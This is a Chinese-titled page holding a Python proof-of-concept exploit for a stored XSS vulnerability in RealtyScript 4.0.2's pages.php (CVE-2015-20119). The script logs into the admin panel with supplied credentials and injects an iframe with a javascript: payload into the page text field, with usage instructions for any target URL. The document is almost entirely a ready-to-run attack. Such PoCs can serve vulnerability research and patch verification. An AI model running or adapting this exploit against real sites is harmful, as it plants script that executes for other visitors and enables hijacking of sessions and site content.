CVE-2015-20119 RealtyScript pages.php存储型XSS漏洞

# CVE-2015-20119 PoC - RealtyScript Stored XSS via text parameter # Target: RealtyScript 4.0.2 pages.php # Type: Stored XSS import requests import sys def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS vulnerability in RealtyScript pages.php by injecting malicious iframe into the text parameter. """ # Login to get authenticated session login_url = target_url + '/admin/login.php' login_data = { 'username': username, 'password': password } session = requests.Session() login_response = session.post(login_url, data=login_data) if 'admin' not in login_response.url.lower(): print('[-] Login failed') return False print('[+] Login successful') # Inject malicious iframe via text parameter add_page_url = target_url + '/admin/pages.php' # Malicious payload - iframe injection payload = '''<iframe src="javascript:alert('XSS by CVE-2015-20119')" width="0" height="0"></iframe>''' page_data = { 'action': 'add', 'title': 'Malicious Page', 'text': payload, 'submit': 'Save' } response = session.post(add_page_url, data=page_data) if response.status_code == 200: print('[+] Malicious iframe payload injected successfully') print('[+] Payload will execute when page is viewed') return True else: print('[-] Injection failed') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://target.com admin password') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)